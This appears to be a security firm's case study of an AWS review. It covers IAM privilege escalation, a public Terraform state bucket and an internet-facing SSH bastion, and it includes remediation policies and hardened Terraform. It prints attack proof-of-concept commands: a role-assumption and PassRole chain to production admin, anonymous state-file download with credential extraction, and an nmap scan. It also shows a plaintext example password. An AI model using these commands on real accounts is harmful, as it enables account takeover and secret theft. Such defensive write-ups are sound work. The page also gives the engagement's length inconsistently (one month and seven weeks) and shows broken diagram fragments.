Cloud Security Review Eliminating multi-account IAM privilege escalation, exposed Terraform state, and public jump-box exposure across a high-growth AWS serverless estate aligned to the CIS AWS Foundations Benchmark
Project Details
- Client
- Stratuscale is a fast-growing, venture-backed B2B SaaS analytics platform delivering real-time product telemetry to over 1,400 enterprise customers, running entirely on AWS across a fleet of serverless functions, 600+ S3 buckets, and managed Aurora and DynamoDB databases
- Industry
- SaaS / Data Analytics
- Company Size
- 180 - 240
- Headquarters
- Seattle, Washington
- Project Duration
- 1 month (Mar 2026 - Apr 2026)
A comprehensive cloud security architecture review of a high-growth, AWS-native SaaS analytics platform (Stratuscale Analytics). The engagement uncovered and remediated a multi-account IAM privilege escalation path via overly permissive assumed roles, a public S3 bucket exposing Terraform state files containing hardcoded secrets, and internet-facing EC2 jump boxes — re-architecting the estate around least privilege, AWS Secrets Manager, strict Security Group rules, and continuous CIS AWS Foundations Benchmark alignment.
Engagement Classification · TLP:AMBER
Project StratusGuard / AWS Cloud Review
Full-scope cloud security architecture review of a high-growth, AWS-native SaaS estate. 7 weeks, multi-account IAM analysis, storage and network configuration audit, and CIS AWS Foundations Benchmark alignment.
The Velocity-vs-Guardrails Problem
Stratuscale’s growth story is the story of nearly every successful AWS-native SaaS: a small founding team shipped a brilliant product, customers arrived faster than anyone forecast, and headcount tripled to keep pace. Each new squad spun up its own AWS resources, IAM roles, and infrastructure-as-code pipelines — but the guardrails that should govern a multi-account estate were never given the same investment as the features.
The result is a pattern we call configuration drift under load: no single change is reckless, but the cumulative effect of hundreds of small, locally-reasonable decisions is a cloud estate where trust boundaries have quietly dissolved. A developer role that was “temporarily” granted iam:PassRole for a demo. A state bucket created with public read “just to unblock CI.” A jump box opened to 0.0.0.0/0 during an incident and never closed. Individually invisible; collectively, a direct path to full production compromise.
Over a 7-week engagement we performed an exhaustive review of Stratuscale’s AWS organization, measured it against the CIS AWS Foundations Benchmark v3.0, and proved that three of these drift artifacts chained together into a complete, single-developer account takeover.
Technical Audit Snapshot
Cloud Audit Methodology
Our review followed a four-domain cloud assessment framework, each domain mapped directly to CIS AWS Foundations Benchmark sections and executed against every account in the AWS Organization.
IAM & Identity Policy Review
Enumerated every user, group, role, and trust policy across the Organization. Built a cross-account access graph to surface AssumeRole chains, wildcard actions, iam:PassRole grants, and inline policies that violate least privilege. Mapped to CIS Section 1 (Identity & Access Management).
Storage Configuration Audit
Inventoried all 600+ S3 buckets, EBS volumes, RDS/Aurora snapshots, and DynamoDB tables. Evaluated bucket policies, ACLs, Block Public Access settings, default encryption, and versioning. Hunted specifically for Terraform state, backups, and data lakes exposed to anonymous or cross-account principals. Mapped to CIS Section 2 (Storage).
Network Security Group Review
Analyzed every VPC, Security Group, NACL, route table, and internet/NAT gateway. Identified ingress rules open to 0.0.0.0/0 on sensitive ports (22, 3389, 5432, 6379), flat network designs, and jump boxes lacking session controls. Mapped to CIS Section 5 (Networking).
Secret Management Assessment
Audited how credentials, API keys, and database passwords flow through the estate — scanning IaC repositories, Lambda environment variables, EC2 user-data, and SSM parameters for hardcoded secrets, and evaluating adoption of AWS Secrets Manager and KMS. Mapped to CIS Sections 1 & 3 (Logging/Monitoring).
Target AWS Architecture
Stratuscale runs a multi-account AWS Organization: a shared-services account fronting the platform, isolated workload accounts per environment, and a sprawling serverless data plane. The diagram below maps the primary attack surfaces our review evaluated.
Load Balancer}:::edge ALB --> APIGW[API Gateway]:::edge APIGW -.-> Lambda[Lambda Fleet
140+ Functions]:::compute APIGW -.-> ECS[ECS Fargate
Services]:::compute Lambda --> Aurora[(Aurora
PostgreSQL)]:::datastore Lambda --> Dynamo[(DynamoDB
Telemetry)]:::datastore ECS --> S3[(S3 Data Lake
600+ Buckets)]:::datastore Internet --> Jump[EC2 Jump Box
22 open]:::untrusted Jump --> Aurora
SSH 22 open to 0.0.0.0/0]:::untrusted end subgraph Shared[" Shared-Services Account "] ALB{Application Load Balancer}:::edge APIGW[API Gateway
REST + WebSocket]:::edge end subgraph Workload[" Production Workload Account "] Lambda[Lambda Fleet
140+ Serverless Functions]:::compute ECS[ECS Fargate
Ingestion Services]:::compute end Internet --> ALB ALB --> APIGW APIGW -.invoke.-> Lambda APIGW -.invoke.-> ECS Lambda --> Aurora[(Aurora PostgreSQL
Customer Metadata)]:::datastore Lambda --> Dynamo[(DynamoDB
Real-time Telemetry)]:::datastore ECS --> S3[(S3 Data Lake
600+ Buckets)]:::datastore Internet --> Jump Jump -.flat VLAN.-> Aurora
CIS AWS Foundations Benchmark Compliance
We scored Stratuscale against all five sections of the CIS AWS Foundations Benchmark v3.0 at the start of the engagement and again after remediation. The radial gauges below visualize per-section compliance — the inner cyan arc is the post-remediation score, the faint track is the pre-audit baseline.
Section-by-Section CIS Compliance
327 automated controls · CIS AWS Foundations Benchmark v3.0
Vulnerability Classification Matrix
Each finding was triaged using the standardized CVSS v3.1 framework and mapped to its corresponding CIS AWS Foundations Benchmark control.
Critical Finding CS-AWS-001 — Multi-Account IAM Privilege Escalation
This was the finding that turned a routine review into an emergency. A standard Developer role in the sandbox account — held by every engineer — possessed two seemingly innocuous permissions: a wildcard sts:AssumeRole and iam:PassRole. Chained against an over-trusting CI deployment role, these allowed any developer to escalate from sandbox read/write to full administrator in the production workload account.
Privilege Escalation Path
← Swipe horizontally to view the full escalation chain →
The Vulnerable IAM Policy
The sandbox Developer permission policy below is the root enabler — note the wildcard resources on both sts:AssumeRole and iam:PassRole.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DeveloperBaseline",
"Effect": "Allow",
"Action": [
"sts:AssumeRole",
"iam:PassRole",
"lambda:CreateFunction",
"lambda:InvokeFunction"
],
"Resource": "*"
}
]
}
And the CI deploy role’s trust policy trusted the entire sandbox account rather than a specific principal:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::111122223333:root" },
"Action": "sts:AssumeRole"
}
]
}
Attack Proof-of-Concept
# 1. Start as an ordinary developer in the sandbox account
aws sts get-caller-identity
# arn:aws:iam::111122223333:user/dev.contractor
# 2. Hop into the over-trusting CI deploy role (wildcard AssumeRole)
aws sts assume-role \
--role-arn arn:aws:iam::111122223333:role/ci-deploy-role \
--role-session-name privesc-poc > ci.json
export AWS_ACCESS_KEY_ID=$(jq -r .Credentials.AccessKeyId ci.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .Credentials.SecretAccessKey ci.json)
export AWS_SESSION_TOKEN=$(jq -r .Credentials.SessionToken ci.json)
# 3. Deploy a Lambda into production, passing the org-wide admin role
aws lambda create-function \
--function-name telemetry-shim \
--runtime python3.12 \
--role arn:aws:iam::444455556666:role/OrganizationAccountAccessRole \
--handler index.handler \
--zip-file fileb://payload.zip \
--region us-west-2
# 4. Invoke it — the function now executes with full production admin
aws lambda invoke --function-name telemetry-shim out.json
# => Effective control of the production workload account
Remediation — Least Privilege & Permission Boundaries
{
"Effect": "Allow",
"Action": [
"sts:AssumeRole",
"iam:PassRole"
],
"Resource": "*"
}{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource":
"arn:aws:iam::111122223333:role/dev-readonly",
"Condition": {
"StringEquals": { "aws:PrincipalTag/team": "data" },
"Bool": { "aws:MultiFactorAuthPresent": "true" }
}
}
// iam:PassRole removed; CI uses a dedicated
// OIDC role with an explicit permissions boundary.We collapsed the wildcard grants to specific role ARNs, attached an IAM permissions boundary capping the maximum privilege any developer-created principal can hold, replaced the account-root trust on the CI role with a GitHub OIDC federation condition, and required MFA for all cross-account hops. CIS controls 1.16 and 1.17 moved from failing to passing.
Critical Finding CS-AWS-002 — Public S3 Bucket Exposing Terraform State
During the storage audit, our anonymous-principal sweep flagged a bucket named stratuscale-tf-state-shared with Block Public Access disabled and a bucket policy granting s3:GetObject to *. It held the Terraform state for the shared-services account — and Terraform state stores resource attributes in cleartext, including any secrets passed through it.
Data Exposure Vector
← Swipe horizontally to view the full exfiltration flow →
Attack Proof-of-Concept
# No credentials required — bucket is world-readable
aws s3 ls s3://stratuscale-tf-state-shared/ --no-sign-request
# 2026-02-18 09:41:22 184213 env/prod/terraform.tfstate
aws s3 cp s3://stratuscale-tf-state-shared/env/prod/terraform.tfstate . \
--no-sign-request
# State files leak every resource attribute in plaintext
jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes
| {endpoint, username, password}' terraform.tfstate
{
"endpoint": "stratuscale-prod.cluster-abc123.us-west-2.rds.amazonaws.com:5432",
"username": "stratus_admin",
"password": "Pr0d-Aurora-2025!"
}
A single anonymous GET yielded live Aurora master credentials, a Datadog API key, and a Stripe secret key — all of which had been interpolated into Terraform as plaintext variables and persisted into state.
Remediation — Lock the Bucket, Encrypt State, Vault the Secrets
We enabled account-wide S3 Block Public Access, enforced default SSE-KMS encryption and versioning on the state bucket, migrated the backend to use a DynamoDB state lock, rotated every leaked credential, and moved all secrets out of Terraform variables into AWS Secrets Manager — referenced at apply time via data sources so they never touch state in plaintext.
# Enforce Block Public Access at the account level (CIS 2.1.5)
aws s3control put-public-access-block \
--account-id 444455556666 \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
# Default encryption + versioning on the state bucket (CIS 2.1.1)
aws s3api put-bucket-encryption --bucket stratuscale-tf-state-shared \
--server-side-encryption-configuration \
'{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"aws:kms"}}]}'
aws s3api put-bucket-versioning --bucket stratuscale-tf-state-shared \
--versioning-configuration Status=Enabled
terraform {
backend "s3" {
bucket = "stratuscale-tf-state-shared"
key = "env/prod/terraform.tfstate"
region = "us-west-2"
# no encryption, no lock, bucket is public
}
}terraform {
backend "s3" {
bucket = "stratuscale-tf-state-shared"
key = "env/prod/terraform.tfstate"
region = "us-west-2"
encrypt = true
kms_key_id = "arn:aws:kms:us-west-2:...:key/state"
dynamodb_table = "tf-state-lock"
}
}Critical Finding CS-AWS-003 — Internet-Facing EC2 Jump Box
The network review surfaced a bastion-legacy EC2 instance whose Security Group permitted inbound SSH (22/tcp) from 0.0.0.0/0. The host sat on the flat production VLAN with a route to the Aurora cluster — exactly the lateral-movement bridge the architecture diagram warned about.
Network Exposure Vector
← Swipe horizontally to view the lateral-movement path →
# External scan confirms the exposed bastion
nmap -Pn -p22,3389,5432 -sV 203.0.113.88
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.2 (Ubuntu) <-- open to the world
# 5432/tcp closed postgresql
{
"GroupName": "bastion-legacy-sg",
"IpPermissions": [
{
"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"IpRanges": [{ "CidrIp": "0.0.0.0/0", "Description": "ssh" }]
}
]
}
Remediation — Eliminate the Bastion with SSM Session Manager
Rather than merely narrowing the CIDR, we removed public SSH entirely and replaced the bastion pattern with AWS Systems Manager Session Manager — fully audited, IAM-gated shell access with no open inbound ports — and revoked the world-open ingress rule.
# Revoke the world-open SSH rule (CIS 5.2)
aws ec2 revoke-security-group-ingress \
--group-id sg-0bastionlegacy \
--protocol tcp --port 22 --cidr 0.0.0.0/0
# Access is now via Session Manager — no inbound ports, fully logged
aws ssm start-session --target i-0a1b2c3d4e5f
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
# Anyone on the internet can reach SSH# No ingress rules at all.
# Shell access is brokered by SSM Session
# Manager over the SSM API — IAM-gated,
# session-logged, zero open ports.
egress {
from_port = 443; to_port = 443
protocol = "tcp"; cidr_blocks = ["0.0.0.0/0"]
}IAM Privilege Escalation Path Explorer
Step through the full cross-account kill chain interactively. Select a stage to light up the path and reveal the exact AWS API call, the misconfiguration abused, and the outcome at that hop — from a single developer credential to total production control.
aws sts get-caller-identity
# arn:aws:iam::111122223333:user/dev.contractorA standard developer identity in the sandbox account — read/write on sandbox resources, plus a wildcard sts:AssumeRole and iam:PassRole that nobody flagged at provisioning time.
aws sts assume-role \
--role-arn arn:aws:iam::111122223333:role/ci-deploy-role \
--role-session-name privesc-pocThe wildcard AssumeRole lets the developer step into the CI deploy role, whose trust policy trusts the entire account root rather than a scoped principal.
aws lambda create-function --function-name telemetry-shim \
--role arn:aws:iam::444455556666:role/OrganizationAccountAccessRole \
--runtime python3.12 --handler index.handler \
--zip-file fileb://payload.zip --region us-west-2iam:PassRole lets the CI role hand the org-wide admin role to a new Lambda in the production account — the function inherits administrative privileges on invoke.
aws lambda invoke --function-name telemetry-shim out.json
# Executes as OrganizationAccountAccessRole
# >>> ENGAGEMENT STOP — full prod admin provenInvoking the Lambda yields code execution with full production administrator rights — IAM, S3, RDS, and KMS across the workload account. Halted by prior agreement once proven.
IAM Role Risk Assessment
A focused scoring of the highest-blast-radius roles uncovered during the identity review.
Vulnerable vs Secured Terraform
The same infrastructure, two ways. Toggle between the configuration that shipped during the growth sprint and the hardened equivalent we delivered.
# ⚠ Public state bucket, world-open SSH, wildcard IAM
resource "aws_s3_bucket" "tf_state" {
bucket = "stratuscale-tf-state-shared"
acl = "public-read" # CIS 2.1.5 FAIL
}
resource "aws_security_group" "bastion" {
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # CIS 5.2 FAIL
}
}
resource "aws_iam_policy" "dev" {
policy = jsonencode({
Statement = [{
Effect = "Allow"
Action = ["sts:AssumeRole", "iam:PassRole"]
Resource = "*" # CIS 1.16 FAIL
}]
})
}
resource "aws_db_instance" "prod" {
password = "Pr0d-Aurora-2025!" # plaintext → leaks into state
}# ✓ Private + encrypted state, no public SSH, scoped IAM
resource "aws_s3_bucket" "tf_state" {
bucket = "stratuscale-tf-state-shared"
}
resource "aws_s3_bucket_public_access_block" "tf_state" {
bucket = aws_s3_bucket.tf_state.id
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true # CIS 2.1.5 PASS
}
resource "aws_security_group" "bastion" {
# No inbound 22 — access via SSM Session Manager (CIS 5.2 PASS)
}
resource "aws_iam_policy" "dev" {
policy = jsonencode({
Statement = [{
Effect = "Allow"
Action = "sts:AssumeRole"
Resource = aws_iam_role.dev_readonly.arn # CIS 1.16 PASS
Condition = { Bool = { "aws:MultiFactorAuthPresent" = "true" } }
}]
})
}
data "aws_secretsmanager_secret_version" "db" {
secret_id = "stratuscale/prod/aurora" # never in state
}
resource "aws_db_instance" "prod" {
password = data.aws_secretsmanager_secret_version.db.secret_string
}Continuous Cloud Posture Syncing
Beyond point-in-time fixes, we wired AWS Config + Security Hub to continuously re-evaluate every account against the CIS benchmark, streaming drift back to a single posture dashboard.
AWS Config · Security Hub · Continuous CIS Sync
Side-by-Side Posture Replay
A real-time replay of the same privilege-escalation attempt against Stratuscale’s pre-audit estate and the hardened, boundaried build.
Composite Cloud Risk Reduction
Estate-Wide Risk Score Velocity
Composite threat score across 11 AWS accounts over the 7-week engagement
Quantifiable Business Impact
Strategic Takeaways
Securing a fast-scaling, AWS-native estate is less about any single misconfiguration and more about restoring the trust boundaries that velocity erodes.
- Privilege is a graph, not a list. No individual permission at Stratuscale looked alarming in isolation — the danger lived in the chain. Audit IAM as a reachability graph: who can assume what, pass which roles, and where that lands them across account boundaries. Wildcard
sts:AssumeRoleandiam:PassRoleare the two highest-leverage grants to eliminate. - Secrets must never enter Terraform state. State files are cleartext databases of your infrastructure. Reference secrets from AWS Secrets Manager at apply time, encrypt state with KMS, enable Block Public Access account-wide, and treat any public storage object as an incident.
- Replace bastions, don’t just narrow them. SSM Session Manager removes the entire class of internet-facing jump-box risk while adding full session auditing — a strictly better posture than tightening a CIDR block.
- Make CIS continuous. A point-in-time score decays the moment the next sprint ships. Wiring AWS Config and Security Hub to re-evaluate the benchmark turns compliance from a quarterly scramble into a live, drift-aware signal — the single change that keeps a growing estate from re-acquiring the same debt.
Ready to secure your architecture?
Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organization.
System Schema & Architecture
Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.
Hear it straight from Stratuscale Analytics
“"We tripled our engineering headcount in nine months, and our AWS footprint grew faster than our guardrails. We suspected configuration drift but had no way to quantify it. The Antigravity team mapped a complete cross-account privilege escalation path from a single developer role to full production admin, found Terraform state with live secrets sitting in a public bucket, and handed us least-privilege policies and Terraform we could merge the same week. They turned a terrifying unknown into a measurable, CIS-aligned roadmap."
Terrill Feil
VP of Platform Engineering at Stratuscale Analytics
API Penetration Testing
Eliminating BOLA mass-data exposure, GraphQL introspection-driven rate-limit bypasses, and a blind SQL injection buried in an undocumented legacy logistics endpoint
Network Vulnerability Assessment & Pentesting
Securing a hybrid OT/IT manufacturing enterprise against external VPN compromise, LLMNR/NBT-NS poisoning, and full Active Directory domain takeover